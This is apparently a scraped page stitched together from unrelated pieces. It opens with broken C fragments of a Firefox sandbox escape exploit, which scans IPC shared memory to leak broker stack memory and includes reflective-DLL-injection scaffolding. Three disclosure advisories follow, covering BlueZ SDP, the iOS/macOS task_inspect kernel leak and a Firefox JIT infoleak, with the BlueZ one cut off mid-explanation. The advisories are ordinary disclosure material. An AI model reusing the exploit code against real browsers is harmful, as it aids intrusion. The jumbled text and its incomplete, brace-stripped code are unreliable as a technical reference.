	__RtlInitUnicodeString(&filename, L"\\??\\C:\\");
	InitializeObjectAttributes(&obja, &filename, OBJ_CASE_INSENSITIVE, NULL, NULL);
	// trigger, go to TargetOpenFile
	NtOpenFileStruct(&file, FILE_WRITE_DATA, &obja, &iostatusblock, 1, NULL); // should trigger an access denied
PUINT32 getSharedIPCMemory() {
	unsigned long sharedMemory;
	sharedMemory = (unsigned long)GetModuleHandleA("firefox.exe");
	sharedMemory = *(unsigned long*)sharedMemory;
	return sharedMemory;
UINT32 leakFromSandbox()
	PUINT32 sharedMemory;
	CrossCallReturn* ret = (CrossCallReturn*)malloc(sizeof(CrossCallReturn)*2);
	memset(ret, 0x41, sizeof(CrossCallReturn)*2);
	size_t i = 0;
	// trigger uninitialized handle leak
	// look for firefox!g_shared_IPC_memory
	sharedMemory = getSharedIPCMemory();
	// scan shared memory (firefox!g_shared_IPC_size = 0x2000)
	// we look for a CrossCallReturn with
	// and an IPC_NTOPENFILE_TAG tag
	for (i = 0; i < (0x2000 / 4); ++i) {
		if (*sharedMemory == STATUS_ACCESS_DENIED) {
			memcpy(ret, sharedMemory - 4, sizeof(CrossCallReturn));
			if (ret->tag == IPC_NTOPENFILE_TAG) {
				// return what should be the handle but actually is
				// uninitialized broker stack memory
				return ret->handle;
	return 0;
UINT32 testSandbox() {
	UINT32 leakedHandle = 0;
	// trigger the infoleak
	leakedHandle = leakFromSandbox();
	// now leakedHandle == firefox!sandbox::CrossCallParamsEx::GetParameterStr+0xbb
	// we just leaked uninitialized memory that use to contain a return address
	__asm int 3;
	return leakedHandle;
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
extern HINSTANCE hAppInstance;
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
    BOOL bReturnValue = TRUE;
	switch( dwReason )
			if( lpReserved != NULL )
				*(HMODULE *)lpReserved = hAppInstance;
			hAppInstance = hinstDLL;
	return bReturnValue;
#pragma once
#include <Windows.h>
#define OFFSET_TO_G_SHARED_IPC_MEMORY 0x000411c0
typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
#define 	OBJ_CASE_INSENSITIVE   0x00000040
#define InitializeObjectAttributes(p, n, a, r, s) { \
     (p)->Length = sizeof(OBJECT_ATTRIBUTES); \
     (p)->RootDirectory = r; \
     (p)->Attributes = a; \
     (p)->ObjectName = n; \
     (p)->SecurityDescriptor = s; \
     (p)->SecurityQualityOfService = NULL; \
typedef struct _UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR  Buffer;
typedef struct _OBJECT_ATTRIBUTES {
	ULONG           Length;
	HANDLE          RootDirectory;
	ULONG           Attributes;
	PVOID           SecurityDescriptor;
	PVOID           SecurityQualityOfService;
typedef struct _FILE_BASIC_INFORMATION {
	LARGE_INTEGER CreationTime;
	LARGE_INTEGER LastAccessTime;
	ULONG         FileAttributes;
typedef struct _IO_STATUS_BLOCK {
	union {
		NTSTATUS Status;
		PVOID    Pointer;
	ULONG_PTR Information;
typedef NTSTATUS(__stdcall *NT_OPEN_FILE)(OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG ShareAccess, IN ULONG OpenOptions);
typedef void(*_RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
typedef NTSTATUS(*_NtQueryAttributesFile)(POBJECT_ATTRIBUTES ObjectAttributes, PFILE_BASIC_INFORMATION FileInformation);

SSD Advisory – Linux BlueZ Information Leak and Heap Overflow

(This advisory follows up on a presentation provided during our offensive security event in 2018 in Hong Kong – come join us at TyphoonCon –  June 2019 in Seoul for more offensive security lectures and training)
Vulnerabilities Summary
The following advisory discuss about two vulnerabilities found in Linux BlueZ bluetooth module.
One of the core ideas behind Bluetooth is allowing interoperability
between a wide range of devices from different manufacturers. This is one
of the reasons that the Bluetooth specification is extremely long and complex.
Detailed descriptions of a wide range of protocols that support all common use-cases ensure that different Bluetooth implementations can work together. However, from an attackers point of view this also means that there is a lot of unneeded complexity in the Bluetooth stack which provides a large attack surface. Due to the modular nature of Bluetooth, some critical features such as packet fragmentation are found redundantly in multiple protocols that are part of the Bluetooth core specification. This makes correct implementation very complicated and increases the likelihood of security issues.
Vendor Response
We have contacted the Bluez maintainer on 23/8/2018 and sent a report describing the two vulnerabilities. The vendor responded “I got the message and was able to decrypt it, but frankly I don’t know when I get to look at it at confirm the issue.”. We have sent few more emails to the vendor since the first report and also proposed patches for the vulnerabilities but no fix has been issued until the day of writing this post. Proposed patches have been provided by, Luiz Augusto von Dentz, at the bottom of this advisory.
An independent security researcher, Julian Rauchberger, has reported this vulnerability to SSD Secure Disclosure program.

Affected systems
Linux systems with BlueZ module with versions 5.17-5.48 (latest at the time of writing this advisory)
Vulnerability Details
To support the huge range of potential use cases for Bluetooth, the specification describes many different protocols. For the vulnerabilities detailed in this advisory, we will focus on two core protocols: L2CAP and SDP.
Simply speaking, L2CAP can be seen as the TCP layer of Bluetooth. It is
responsible for implementing low-level features such as multiplexing and
flow control. What would be called a “port” in TCP is the “Protocol/Service
Multiplexer” (PSM) value in L2CAP. Authentication and Authorization is
generally handled on higher layers, meaning that an attacker can open a
L2CAP connection to any PSM they want and send whatever crafted packets
they wish. From a technical point of view, BlueZ implements L2CAP inside
the kernel as a module.
SDP is the Service Discovery Protocol. It is implemented above L2CAP as a
“service” running on PSM 0x0001. Since the PSM is only a 16-bit number, it is not possible to assign a unique PSM to every Bluetooth service imaginable. SDP can translate globally unique UUIDs to a dynamic PSM used on a specific device.
For instance, a vendor specific service has the same UUID on all devices but
might run on PSM 0x0123 on device A and PSM 0x0456 on device B. It is the job of SDP to provide this information to devices that wish to connect to the service.
* Device A opens a L2CAP connection to PSM 0x0001 (SDP) on device B
* Device A asks “what is the PSM for the service with UUID 0x12345678?”
* Device B responds with “PSM 0x1337”
* Device A opens an L2CAP connection to PSM 0x1337
SDP is also used to advertise all the Bluetooth Profiles (services/features) a
device supports. It can be queried to send a list of all services running
on the device as well as their attributes (mostly simple key/value pairs).
The SDP protocol is implemented in a userspace daemon by BlueZ. Since it
requires high privileges, this daemon normally runs as root, meaning
vulnerabilities should result in full system compromise in most cases.
PoC’s and Testing Environment
The PoC’s attached at the end of this advisory have been tested against
BlueZ 5.48 (the newest version at the time of writing), BlueZ 5.17 (a very old version from 2014), as well as a few in between.
The PoC’s have been written for Python 2.7 and have two dependencies, please install them first:
* pybluez (to send Bluetooth packets)
* pwntools (for easier crafting of packets and hexdump())
run them with:
(where XX:XX:XX:XX:XX:XX is the Bluetooth MAC address of the victim device)
Please ensure that the Bluetooth is activated and the device is discoverable (called “visible” in most of the GUIs)
It might be necessary to update the SERVICE_REC_HANDLE and/or SERVICE_ATTR_ID to get the PoC’s to work. These values can differ between devices. They are advertised by SDP so it could be automated to find them but we didn’t implemented that. Detailed information is inside the comments of the PoC’s.
Vulnerability 1: SDP infoleak
Note: All line numbers and filenames referenced here were taken from BlueZ 5.48 which is the newest version at the time of writing.
The vulnerability lies in the handling of a SVC_ATTR_REQ by the SDP implementation of BlueZ. By crafting a malicious CSTATE, it is possible to trick the server into returning more bytes than the buffer actually holds, resulting in leaking arbitrary heap data.
This vulnerability demonstrates very well issues arising due to the
aforementioned complexity caused by the redundant implementation of some features in multiple protocols.
Even though L2CAP already provides sufficient fragmentation features, SDP
defines its own. However, incorrect implementation in BlueZ leads to a
significant information leak.
One of the features of SDP is to provide the values of custom attributes a
service might have. The client sends the ID of an attribute and SDP responds with the corresponding value.
If the response to an attribute request is too large to fit within a single
SDP packet, a “Continuation State” (cstate) is created.
Here is how it should work in theory:


SSD Advisory – iOS/macOS Kernel task_inspect Information Leak

Vulnerabilities Summary
The following advisory discusses a bug found in the kernel function task_inspect which a local user may exploit in order to read kernel memory due to an uninitialized variable.
Vendor Response
Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation
Impact: A local user may be able to read kernel memory
Description: A memory initialization issue was addressed with improved memory handling.
CVE-2018-4431: An independent security researcher has reported this vulnerability to
Beyond Security’s SecuriTeam Secure Disclosure program
Available for: macOS High Sierra 10.13.6, macOS Mojave 10.14.1
Impact: A local user may be able to read kernel memory
Description: A memory initialization issue was addressed with
improved memory handling.
CVE-2018-4431: An independent security researcher has reported this
vulnerability to Beyond Security’s SecuriTeam Secure Disclosure
An independent Security Researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

SSD Advisory – Firefox Information Leak

Vulnerabilities Summary
A vulnerability where the JavaScript JIT compiler inlines Array.prototype.push with multiple arguments that results in the stack pointer being off by 8 bytes after a bailout. This leaks a memory address to the calling function which can be used as part of an exploit inside the sandboxed content process.
Vendor Response
The security vulnerability was fixed in Firefox 62.0.3 and Firefox ESR 60.2.2
Independent security researchers, Bruno Keith and Niklas Baumstark, have reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.